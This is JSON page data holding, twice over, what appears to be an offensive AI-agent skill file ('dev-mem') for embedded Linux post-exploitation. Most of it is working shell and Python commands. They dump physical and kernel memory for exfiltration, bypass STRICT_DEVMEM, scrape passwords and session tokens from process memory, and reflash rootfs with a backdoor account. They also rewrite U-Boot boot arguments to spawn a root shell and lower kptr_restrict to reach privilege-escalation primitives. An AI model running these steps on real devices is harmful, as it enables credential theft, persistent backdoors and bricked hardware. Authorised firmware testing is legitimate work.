[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFY4VT0MQMGZMDRZCSS2B7":3,"skill-same:01M7DFY4VT0MQMGZMDRZCSS2B7":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFY4VT0MQMGZMDRZCSS2B7","dev-mem",null,"Runtime memory access and manipulation on embedded Linux via \u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, and MTD devices. Covers physical memory reads\u002Fwrites, kernel symbol resolution via \u002Fproc\u002Fkallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fdev-mem\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: dev-mem\ndescription: Runtime memory access and manipulation on embedded Linux via \u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, and MTD devices. Covers physical memory reads\u002Fwrites, kernel symbol resolution via \u002Fproc\u002Fkallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: \u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, \u002Fproc\u002Fkallsyms, devmem2, embedded memory access, live firmware patch\n  tags: iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel\n  mitre_attack: T1601.001, T1601.002, T1068, T1543\n---\n\n# \u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, and MTD Runtime Patching\n\n> On embedded Linux, physical memory and raw flash are often accessible\n> as character devices. Combined with \u002Fproc\u002Fkallsyms for kernel symbol\n> resolution, these interfaces allow runtime rootkit injection, credential\n> extraction, and live firmware modification without touching the filesystem.\n\n## Prerequisites\n\n- Shell access on the target (obtained via UART\u002FSSH\u002Ftelnet or post-exploitation).\n- Target runs Linux (confirms with `uname -a`).\n- Check access: `ls -la \u002Fdev\u002Fmem \u002Fdev\u002Fkmem \u002Fdev\u002Fmtd*`.\n- Tools: `devmem2` (or `\u002Fdev\u002Fmem` via dd), `mtd_debug`, `flashcp`, `busybox devmem`.\n\n```bash\n# Confirm device nodes exist\nls -la \u002Fdev\u002Fmem \u002Fdev\u002Fkmem \u002Fdev\u002Fmtd* 2>\u002Fdev\u002Fnull\n\n# Confirm kernel version and MTD subsystem\nuname -a\ncat \u002Fproc\u002Fmtd\n```\n\n---\n\n## Phase 1 — Physical Memory Read via \u002Fdev\u002Fmem\n\n### 1a. devmem2 (most common embedded tool)\n\n```bash\n# Read 4-byte word at physical address 0x10000000\ndevmem2 0x10000000 w\n\n# Read byte at address\ndevmem2 0x10000000 b\n\n# Write 4-byte word (use carefully — can crash SoC peripherals)\ndevmem2 0x10000000 w 0xDEADBEEF\n\n# BusyBox devmem (same syntax on BusyBox builds)\nbusybox devmem 0x10000000 32\n```\n\n### 1b. dd + \u002Fdev\u002Fmem\n\n```bash\n# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS\u002FARM)\ndd if=\u002Fdev\u002Fmem bs=1024 skip=$((0x80000000 \u002F 1024)) count=4 > \u002Ftmp\u002Fmem_region.bin\n\n# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)\ndd if=\u002Fdev\u002Fmem bs=4 skip=$((0x3F200034 \u002F 4)) count=1 2>\u002Fdev\u002Fnull | xxd\n\n# Search physical RAM for a string (e.g., password, key material)\nstrings \u002Fdev\u002Fmem 2>\u002Fdev\u002Fnull | grep -iE 'password|secret|key|token' | head -20\n\n# Dump first 32MB of DRAM to exfil\ndd if=\u002Fdev\u002Fmem bs=1M count=32 of=\u002Ftmp\u002Fmemdump_32m.bin\n```\n\n### 1c. Bypass CONFIG_STRICT_DEVMEM\n\nKernels with `CONFIG_STRICT_DEVMEM=y` block non-MMIO physical addresses.\n\n```bash\n# Check if restriction is active\ndmesg 2>\u002Fdev\u002Fnull | grep -i \"devmem\\|mem: Checking\"\n\n# Bypass A: MMIO regions are always permitted — map peripheral registers\n#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.\n\n# Bypass B: Use \u002Fproc\u002Fkcore (virtual kernel memory, may still be available)\ndd if=\u002Fproc\u002Fkcore bs=1M count=8 of=\u002Ftmp\u002Fkcore_partial.bin 2>\u002Fdev\u002Fnull\n\n# Bypass C: Kernel module injection via \u002Fdev\u002Fkmem (see Phase 2)\n\n# Bypass D: mmap \u002Fproc\u002F\u003Cpid>\u002Fmem of a privileged process\n# (works when CAP_SYS_PTRACE is available)\ncat \u002Fproc\u002F1\u002Fmaps | grep heap\ndd if=\u002Fproc\u002F1\u002Fmem bs=1 skip=$((heap_start)) count=4096 of=\u002Ftmp\u002Finit_heap.bin 2>\u002Fdev\u002Fnull\n```\n\n---\n\n## Phase 2 — Kernel Memory via \u002Fdev\u002Fkmem\n\n`\u002Fdev\u002Fkmem` exposes virtual kernel address space. Available on older kernels\n(pre-3.7) or when compiled without `CONFIG_DEVKMEM=n`.\n\n```bash\n# Check kernel virtual addresses from kallsyms\n# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)\ncat \u002Fproc\u002Fkallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'\n# Example: ffffffff81801460 R sys_call_table\n\n# Read kernel symbol value via \u002Fdev\u002Fkmem\nSYM_ADDR=0xffffffff81801460\ndd if=\u002Fdev\u002Fkmem bs=8 skip=$(( SYM_ADDR \u002F 8 )) count=1 2>\u002Fdev\u002Fnull | xxd\n\n# Patch a kernel variable (e.g., set uid to 0 for current process)\n# WARNING: wrong address = immediate kernel panic\n# Use devmem2 with the virtual address:\ndevmem2 $SYM_ADDR q    # quad-word read (64-bit)\n```\n\n### 2a. Extract kernel credentials from \u002Fproc\u002Fkcore\n\n```bash\n# \u002Fproc\u002Fkcore is ELF-formatted kernel memory snapshot\n# Use volatility3 with a Linux profile if available:\nvol -f \u002Fproc\u002Fkcore linux.bash.Bash    # recover bash history from kernel\nvol -f \u002Fproc\u002Fkcore linux.pslist.PsList\n\n# Manual: search for credential structures\nstrings \u002Fproc\u002Fkcore 2>\u002Fdev\u002Fnull | grep -E 'root|password|shadow' | head -20\n```\n\n---\n\n## Phase 3 — MTD Raw Flash Access\n\nMTD (Memory Technology Devices) exposes raw NOR\u002FNAND flash. On embedded Linux,\n`\u002Fdev\u002Fmtd*` (char) and `\u002Fdev\u002Fmtdblock*` (block) devices are the primary paths\nfor read\u002Fwrite access to firmware partitions.\n\n### 3a. Partition enumeration\n\n```bash\n# List all MTD partitions with sizes and names\ncat \u002Fproc\u002Fmtd\n# Example output:\n# dev:    size   erasesize  name\n# mtd0: 00040000 00010000 \"u-boot\"\n# mtd1: 00010000 00010000 \"u-boot-env\"\n# mtd2: 00200000 00010000 \"kernel\"\n# mtd3: 00600000 00010000 \"rootfs\"\n# mtd4: 00200000 00010000 \"storage\"\n```\n\n### 3b. Dump MTD partition\n\n```bash\n# Method A: dd from block device\ndd if=\u002Fdev\u002Fmtdblock3 of=\u002Ftmp\u002Frootfs.bin bs=512\n\n# Method B: mtd_debug read (preferred — handles bad blocks on NAND)\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_debug.bin\n\n# Method C: nanddump (NAND-aware, includes OOB handling)\nnanddump --noecc --omitoob \u002Fdev\u002Fmtd3 -f \u002Ftmp\u002Frootfs_nand.bin\n```\n\n### 3c. Write (patch) an MTD partition\n\n```bash\n# DANGER: Writing to wrong partition bricks the device.\n# Always verify partition map and backup before writing.\n\n# Step 1: Backup the partition to be patched\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_backup.bin\nsha256sum \u002Ftmp\u002Frootfs_backup.bin > \u002Ftmp\u002Frootfs_backup.bin.sha256\n\n# Step 2: Modify the backup (e.g., inject backdoor account into \u002Fetc\u002Fpasswd)\n# Mount squashfs, modify, repack, place in \u002Ftmp\u002Frootfs_patched.bin\n\n# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)\nflash_erase \u002Fdev\u002Fmtd3 0 0        # erase entire partition\n# Or with mtd_debug:\nmtd_debug erase \u002Fdev\u002Fmtd3 0 $((0x600000))\n\n# Step 4: Write patched image\nflashcp -v \u002Ftmp\u002Frootfs_patched.bin \u002Fdev\u002Fmtd3\n# Or mtd_debug write:\nmtd_debug write \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_patched.bin\n\n# Step 5: Verify write\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_verify.bin\ndiff \u002Ftmp\u002Frootfs_patched.bin \u002Ftmp\u002Frootfs_verify.bin && echo \"WRITE OK\" || echo \"MISMATCH\"\n```\n\n### 3d. U-Boot environment modification via MTD\n\n```bash\n# U-Boot env is typically in mtd1 (check \u002Fproc\u002Fmtd for \"u-boot-env\")\nUBOOT_ENV_MTD=\u002Fdev\u002Fmtd1\n\n# Dump current env\ndd if=\u002Fdev\u002Fmtdblock1 of=\u002Ftmp\u002Fuboot_env.bin\n\n# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs\npython3 -c \"\nimport struct, zlib\ndata = open('\u002Ftmp\u002Fuboot_env.bin','rb').read()\ncrc_stored = struct.unpack('\u003CI', data[:4])[0]\ncrc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF\nprint(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')\nenv = data[4:].split(b'\\\\x00')\nfor e in env:\n    if e: print(e.decode(errors='replace'))\n\"\n\n# Modify env and rewrite with correct CRC\npython3 \u003C\u003C 'EOF'\nimport struct, zlib\n\nenv_vars = {\n    \"bootargs\": \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 init=\u002Fbin\u002Fsh\",\n    \"bootcmd\": \"run bootlinux\",\n    # add more vars as needed\n}\n\n# Build null-delimited env block (standard U-Boot env size = 64KB)\nENV_SIZE = 0x10000\npayload = b\"\"\nfor k, v in env_vars.items():\n    payload += f\"{k}={v}\\x00\".encode()\npayload += b\"\\x00\"\npayload = payload.ljust(ENV_SIZE - 4, b\"\\xff\")\n\ncrc = struct.pack(\"\u003CI\", zlib.crc32(payload) & 0xFFFFFFFF)\nwith open(\"\u002Ftmp\u002Fuboot_env_patched.bin\", \"wb\") as f:\n    f.write(crc + payload)\nprint(\"Patched env written\")\nEOF\n\n# Flash patched env\nflash_erase \u002Fdev\u002Fmtd1 0 0\nflashcp \u002Ftmp\u002Fuboot_env_patched.bin \u002Fdev\u002Fmtd1\n```\n\n---\n\n## Phase 4 — Live Process Memory Access\n\n```bash\n# List running processes with memory maps\ncat \u002Fproc\u002F1\u002Fmaps       # init\u002Fsystemd\n# Identify heap\u002Fstack regions\n\n# Read from process memory (requires same UID or root)\n# Read 256 bytes at heap start of PID 1234\nHEAP_START=0x00400000  # from \u002Fproc\u002F1234\u002Fmaps\ndd if=\u002Fproc\u002F1234\u002Fmem bs=1 skip=$HEAP_START count=256 of=\u002Ftmp\u002Fpid_mem.bin 2>\u002Fdev\u002Fnull\n\n# Search for credentials in web server process memory (lighttpd \u002F httpd)\nWEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)\nstrings \u002Fproc\u002F$WEB_PID\u002Fmem 2>\u002Fdev\u002Fnull | grep -iE 'password|session|token' | head -20\n\n# GDB (if available) — attach to running process\ngdb -p $WEB_PID -batch -ex \"x\u002F512s 0x$(grep heap \u002Fproc\u002F$WEB_PID\u002Fmaps | head -1 | cut -d- -f1)\" \\\n    2>\u002Fdev\u002Fnull | grep -iE 'password|secret|key'\n```\n\n---\n\n## Phase 5 — \u002Fproc\u002Fkallsyms Exploitation\n\n```bash\n# Read symbol table (requires root or kernel.kptr_restrict=0)\ncat \u002Fproc\u002Fkallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'\n\n# Check kptr_restrict setting\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Fkptr_restrict\n# 0 = all addresses visible, 1 = visible to root, 2 = hidden always\n\n# Lower restriction (if writable — common on IoT with permissive sysctl)\necho 0 > \u002Fproc\u002Fsys\u002Fkernel\u002Fkptr_restrict\n\n# Use symbol addresses for kernel exploit primitives\n# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc\n# (pass to kernel module or mmap-based shellcode)\n```\n\n---\n\n## Evidence\n\n```bash\nEVDIR=\u002Fworkspace\u002Fevidence\u002Fiot\u002F\u003Ctarget>\u002Fdevmem\nmkdir -p \"$EVDIR\"\ncp \u002Ftmp\u002Fmemdump_32m.bin \"$EVDIR\u002F\" 2>\u002Fdev\u002Fnull\ncp \u002Ftmp\u002Frootfs_backup.bin \"$EVDIR\u002F\" 2>\u002Fdev\u002Fnull\nsha256sum \"$EVDIR\"\u002F*.bin > \"$EVDIR\u002Fchecksums.sha256\"\necho \"MTD partition map:\" >> \"$EVDIR\u002Fnotes.txt\"\ncat \u002Fproc\u002Fmtd >> \"$EVDIR\u002Fnotes.txt\"\necho \"kallsyms sys_call_table:\" >> \"$EVDIR\u002Fnotes.txt\"\ncat \u002Fproc\u002Fkallsyms | grep sys_call_table >> \"$EVDIR\u002Fnotes.txt\"\n```\n\n## OPSEC Notes\n\n- MTD erase+write operations are irreversible if the backup is lost. Keep the backup\n  in `\u002Fworkspace\u002Fevidence\u002F` before any write operation.\n- Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no\n  software recovery path. Triple-check partition map from `\u002Fproc\u002Fmtd` before writing.\n- `\u002Fdev\u002Fmem` reads of active MMIO registers (UART, SPI, GPIO) can interfere with\n  peripheral operation and may trigger watchdog resets.\n- On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access\n  may generate audit log entries visible to the vendor's telemetry pipeline.\n- MTD writes generate wear on flash cells; each erase cycle degrades the chip.\n  Limit writes to the minimum needed; document all writes for device-return procedures.\n\n## References\n\n- mtd-utils documentation: `https:\u002F\u002Fgithub.com\u002Fsigma-star\u002Fmtd-utils`\n- Linux MTD subsystem: `https:\u002F\u002Fwww.linux-mtd.infradead.org\u002Fdoc\u002Fgeneral.html`\n- devmem2 tool: `https:\u002F\u002Fgithub.com\u002FVCTLabs\u002Fdevmem2`\n- Kernel exploitation via \u002Fdev\u002Fmem: `references\u002Fdevmem-kernel-exploit.md`\n- U-Boot env format: `https:\u002F\u002Fu-boot.readthedocs.io\u002Fen\u002Flatest\u002Fusage\u002Fenvironment.html`\n","# \u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, and MTD Runtime Patching\n\n> On embedded Linux, physical memory and raw flash are often accessible\n> as character devices. Combined with \u002Fproc\u002Fkallsyms for kernel symbol\n> resolution, these interfaces allow runtime rootkit injection, credential\n> extraction, and live firmware modification without touching the filesystem.\n\n## Prerequisites\n\n- Shell access on the target (obtained via UART\u002FSSH\u002Ftelnet or post-exploitation).\n- Target runs Linux (confirms with `uname -a`).\n- Check access: `ls -la \u002Fdev\u002Fmem \u002Fdev\u002Fkmem \u002Fdev\u002Fmtd*`.\n- Tools: `devmem2` (or `\u002Fdev\u002Fmem` via dd), `mtd_debug`, `flashcp`, `busybox devmem`.\n\n```bash\n# Confirm device nodes exist\nls -la \u002Fdev\u002Fmem \u002Fdev\u002Fkmem \u002Fdev\u002Fmtd* 2>\u002Fdev\u002Fnull\n\n# Confirm kernel version and MTD subsystem\nuname -a\ncat \u002Fproc\u002Fmtd\n```\n\n---\n\n## Phase 1 — Physical Memory Read via \u002Fdev\u002Fmem\n\n### 1a. devmem2 (most common embedded tool)\n\n```bash\n# Read 4-byte word at physical address 0x10000000\ndevmem2 0x10000000 w\n\n# Read byte at address\ndevmem2 0x10000000 b\n\n# Write 4-byte word (use carefully — can crash SoC peripherals)\ndevmem2 0x10000000 w 0xDEADBEEF\n\n# BusyBox devmem (same syntax on BusyBox builds)\nbusybox devmem 0x10000000 32\n```\n\n### 1b. dd + \u002Fdev\u002Fmem\n\n```bash\n# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS\u002FARM)\ndd if=\u002Fdev\u002Fmem bs=1024 skip=$((0x80000000 \u002F 1024)) count=4 > \u002Ftmp\u002Fmem_region.bin\n\n# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)\ndd if=\u002Fdev\u002Fmem bs=4 skip=$((0x3F200034 \u002F 4)) count=1 2>\u002Fdev\u002Fnull | xxd\n\n# Search physical RAM for a string (e.g., password, key material)\nstrings \u002Fdev\u002Fmem 2>\u002Fdev\u002Fnull | grep -iE 'password|secret|key|token' | head -20\n\n# Dump first 32MB of DRAM to exfil\ndd if=\u002Fdev\u002Fmem bs=1M count=32 of=\u002Ftmp\u002Fmemdump_32m.bin\n```\n\n### 1c. Bypass CONFIG_STRICT_DEVMEM\n\nKernels with `CONFIG_STRICT_DEVMEM=y` block non-MMIO physical addresses.\n\n```bash\n# Check if restriction is active\ndmesg 2>\u002Fdev\u002Fnull | grep -i \"devmem\\|mem: Checking\"\n\n# Bypass A: MMIO regions are always permitted — map peripheral registers\n#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.\n\n# Bypass B: Use \u002Fproc\u002Fkcore (virtual kernel memory, may still be available)\ndd if=\u002Fproc\u002Fkcore bs=1M count=8 of=\u002Ftmp\u002Fkcore_partial.bin 2>\u002Fdev\u002Fnull\n\n# Bypass C: Kernel module injection via \u002Fdev\u002Fkmem (see Phase 2)\n\n# Bypass D: mmap \u002Fproc\u002F\u003Cpid>\u002Fmem of a privileged process\n# (works when CAP_SYS_PTRACE is available)\ncat \u002Fproc\u002F1\u002Fmaps | grep heap\ndd if=\u002Fproc\u002F1\u002Fmem bs=1 skip=$((heap_start)) count=4096 of=\u002Ftmp\u002Finit_heap.bin 2>\u002Fdev\u002Fnull\n```\n\n---\n\n## Phase 2 — Kernel Memory via \u002Fdev\u002Fkmem\n\n`\u002Fdev\u002Fkmem` exposes virtual kernel address space. Available on older kernels\n(pre-3.7) or when compiled without `CONFIG_DEVKMEM=n`.\n\n```bash\n# Check kernel virtual addresses from kallsyms\n# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)\ncat \u002Fproc\u002Fkallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'\n# Example: ffffffff81801460 R sys_call_table\n\n# Read kernel symbol value via \u002Fdev\u002Fkmem\nSYM_ADDR=0xffffffff81801460\ndd if=\u002Fdev\u002Fkmem bs=8 skip=$(( SYM_ADDR \u002F 8 )) count=1 2>\u002Fdev\u002Fnull | xxd\n\n# Patch a kernel variable (e.g., set uid to 0 for current process)\n# WARNING: wrong address = immediate kernel panic\n# Use devmem2 with the virtual address:\ndevmem2 $SYM_ADDR q    # quad-word read (64-bit)\n```\n\n### 2a. Extract kernel credentials from \u002Fproc\u002Fkcore\n\n```bash\n# \u002Fproc\u002Fkcore is ELF-formatted kernel memory snapshot\n# Use volatility3 with a Linux profile if available:\nvol -f \u002Fproc\u002Fkcore linux.bash.Bash    # recover bash history from kernel\nvol -f \u002Fproc\u002Fkcore linux.pslist.PsList\n\n# Manual: search for credential structures\nstrings \u002Fproc\u002Fkcore 2>\u002Fdev\u002Fnull | grep -E 'root|password|shadow' | head -20\n```\n\n---\n\n## Phase 3 — MTD Raw Flash Access\n\nMTD (Memory Technology Devices) exposes raw NOR\u002FNAND flash. On embedded Linux,\n`\u002Fdev\u002Fmtd*` (char) and `\u002Fdev\u002Fmtdblock*` (block) devices are the primary paths\nfor read\u002Fwrite access to firmware partitions.\n\n### 3a. Partition enumeration\n\n```bash\n# List all MTD partitions with sizes and names\ncat \u002Fproc\u002Fmtd\n# Example output:\n# dev:    size   erasesize  name\n# mtd0: 00040000 00010000 \"u-boot\"\n# mtd1: 00010000 00010000 \"u-boot-env\"\n# mtd2: 00200000 00010000 \"kernel\"\n# mtd3: 00600000 00010000 \"rootfs\"\n# mtd4: 00200000 00010000 \"storage\"\n```\n\n### 3b. Dump MTD partition\n\n```bash\n# Method A: dd from block device\ndd if=\u002Fdev\u002Fmtdblock3 of=\u002Ftmp\u002Frootfs.bin bs=512\n\n# Method B: mtd_debug read (preferred — handles bad blocks on NAND)\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_debug.bin\n\n# Method C: nanddump (NAND-aware, includes OOB handling)\nnanddump --noecc --omitoob \u002Fdev\u002Fmtd3 -f \u002Ftmp\u002Frootfs_nand.bin\n```\n\n### 3c. Write (patch) an MTD partition\n\n```bash\n# DANGER: Writing to wrong partition bricks the device.\n# Always verify partition map and backup before writing.\n\n# Step 1: Backup the partition to be patched\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_backup.bin\nsha256sum \u002Ftmp\u002Frootfs_backup.bin > \u002Ftmp\u002Frootfs_backup.bin.sha256\n\n# Step 2: Modify the backup (e.g., inject backdoor account into \u002Fetc\u002Fpasswd)\n# Mount squashfs, modify, repack, place in \u002Ftmp\u002Frootfs_patched.bin\n\n# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)\nflash_erase \u002Fdev\u002Fmtd3 0 0        # erase entire partition\n# Or with mtd_debug:\nmtd_debug erase \u002Fdev\u002Fmtd3 0 $((0x600000))\n\n# Step 4: Write patched image\nflashcp -v \u002Ftmp\u002Frootfs_patched.bin \u002Fdev\u002Fmtd3\n# Or mtd_debug write:\nmtd_debug write \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_patched.bin\n\n# Step 5: Verify write\nmtd_debug read \u002Fdev\u002Fmtd3 0 $((0x600000)) \u002Ftmp\u002Frootfs_verify.bin\ndiff \u002Ftmp\u002Frootfs_patched.bin \u002Ftmp\u002Frootfs_verify.bin && echo \"WRITE OK\" || echo \"MISMATCH\"\n```\n\n### 3d. U-Boot environment modification via MTD\n\n```bash\n# U-Boot env is typically in mtd1 (check \u002Fproc\u002Fmtd for \"u-boot-env\")\nUBOOT_ENV_MTD=\u002Fdev\u002Fmtd1\n\n# Dump current env\ndd if=\u002Fdev\u002Fmtdblock1 of=\u002Ftmp\u002Fuboot_env.bin\n\n# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs\npython3 -c \"\nimport struct, zlib\ndata = open('\u002Ftmp\u002Fuboot_env.bin','rb').read()\ncrc_stored = struct.unpack('\u003CI', data[:4])[0]\ncrc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF\nprint(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')\nenv = data[4:].split(b'\\\\x00')\nfor e in env:\n    if e: print(e.decode(errors='replace'))\n\"\n\n# Modify env and rewrite with correct CRC\npython3 \u003C\u003C 'EOF'\nimport struct, zlib\n\nenv_vars = {\n    \"bootargs\": \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 init=\u002Fbin\u002Fsh\",\n    \"bootcmd\": \"run bootlinux\",\n    # add more vars as needed\n}\n\n# Build null-delimited env block (standard U-Boot env size = 64KB)\nENV_SIZE = 0x10000\npayload = b\"\"\nfor k, v in env_vars.items():\n    payload += f\"{k}={v}\\x00\".encode()\npayload += b\"\\x00\"\npayload = payload.ljust(ENV_SIZE - 4, b\"\\xff\")\n\ncrc = struct.pack(\"\u003CI\", zlib.crc32(payload) & 0xFFFFFFFF)\nwith open(\"\u002Ftmp\u002Fuboot_env_patched.bin\", \"wb\") as f:\n    f.write(crc + payload)\nprint(\"Patched env written\")\nEOF\n\n# Flash patched env\nflash_erase \u002Fdev\u002Fmtd1 0 0\nflashcp \u002Ftmp\u002Fuboot_env_patched.bin \u002Fdev\u002Fmtd1\n```\n\n---\n\n## Phase 4 — Live Process Memory Access\n\n```bash\n# List running processes with memory maps\ncat \u002Fproc\u002F1\u002Fmaps       # init\u002Fsystemd\n# Identify heap\u002Fstack regions\n\n# Read from process memory (requires same UID or root)\n# Read 256 bytes at heap start of PID 1234\nHEAP_START=0x00400000  # from \u002Fproc\u002F1234\u002Fmaps\ndd if=\u002Fproc\u002F1234\u002Fmem bs=1 skip=$HEAP_START count=256 of=\u002Ftmp\u002Fpid_mem.bin 2>\u002Fdev\u002Fnull\n\n# Search for credentials in web server process memory (lighttpd \u002F httpd)\nWEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)\nstrings \u002Fproc\u002F$WEB_PID\u002Fmem 2>\u002Fdev\u002Fnull | grep -iE 'password|session|token' | head -20\n\n# GDB (if available) — attach to running process\ngdb -p $WEB_PID -batch -ex \"x\u002F512s 0x$(grep heap \u002Fproc\u002F$WEB_PID\u002Fmaps | head -1 | cut -d- -f1)\" \\\n    2>\u002Fdev\u002Fnull | grep -iE 'password|secret|key'\n```\n\n---\n\n## Phase 5 — \u002Fproc\u002Fkallsyms Exploitation\n\n```bash\n# Read symbol table (requires root or kernel.kptr_restrict=0)\ncat \u002Fproc\u002Fkallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'\n\n# Check kptr_restrict setting\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Fkptr_restrict\n# 0 = all addresses visible, 1 = visible to root, 2 = hidden always\n\n# Lower restriction (if writable — common on IoT with permissive sysctl)\necho 0 > \u002Fproc\u002Fsys\u002Fkernel\u002Fkptr_restrict\n\n# Use symbol addresses for kernel exploit primitives\n# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc\n# (pass to kernel module or mmap-based shellcode)\n```\n\n---\n\n## Evidence\n\n```bash\nEVDIR=\u002Fworkspace\u002Fevidence\u002Fiot\u002F\u003Ctarget>\u002Fdevmem\nmkdir -p \"$EVDIR\"\ncp \u002Ftmp\u002Fmemdump_32m.bin \"$EVDIR\u002F\" 2>\u002Fdev\u002Fnull\ncp \u002Ftmp\u002Frootfs_backup.bin \"$EVDIR\u002F\" 2>\u002Fdev\u002Fnull\nsha256sum \"$EVDIR\"\u002F*.bin > \"$EVDIR\u002Fchecksums.sha256\"\necho \"MTD partition map:\" >> \"$EVDIR\u002Fnotes.txt\"\ncat \u002Fproc\u002Fmtd >> \"$EVDIR\u002Fnotes.txt\"\necho \"kallsyms sys_call_table:\" >> \"$EVDIR\u002Fnotes.txt\"\ncat \u002Fproc\u002Fkallsyms | grep sys_call_table >> \"$EVDIR\u002Fnotes.txt\"\n```\n\n## OPSEC Notes\n\n- MTD erase+write operations are irreversible if the backup is lost. Keep the backup\n  in `\u002Fworkspace\u002Fevidence\u002F` before any write operation.\n- Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no\n  software recovery path. Triple-check partition map from `\u002Fproc\u002Fmtd` before writing.\n- `\u002Fdev\u002Fmem` reads of active MMIO registers (UART, SPI, GPIO) can interfere with\n  peripheral operation and may trigger watchdog resets.\n- On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access\n  may generate audit log entries visible to the vendor's telemetry pipeline.\n- MTD writes generate wear on flash cells; each erase cycle degrades the chip.\n  Limit writes to the minimum needed; document all writes for device-return procedures.\n\n## References\n\n- mtd-utils documentation: `https:\u002F\u002Fgithub.com\u002Fsigma-star\u002Fmtd-utils`\n- Linux MTD subsystem: `https:\u002F\u002Fwww.linux-mtd.infradead.org\u002Fdoc\u002Fgeneral.html`\n- devmem2 tool: `https:\u002F\u002Fgithub.com\u002FVCTLabs\u002Fdevmem2`\n- Kernel exploitation via \u002Fdev\u002Fmem: `references\u002Fdevmem-kernel-exploit.md`\n- U-Boot env format: `https:\u002F\u002Fu-boot.readthedocs.io\u002Fen\u002Flatest\u002Fusage\u002Fenvironment.html`\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel","iot","\u002Fdev\u002Fmem, \u002Fdev\u002Fkmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, \u002Fproc\u002Fkallsyms, devmem2, embedded memory access, live firmware patch","T1601.001, T1601.002, T1068, T1543","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fdev-mem","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 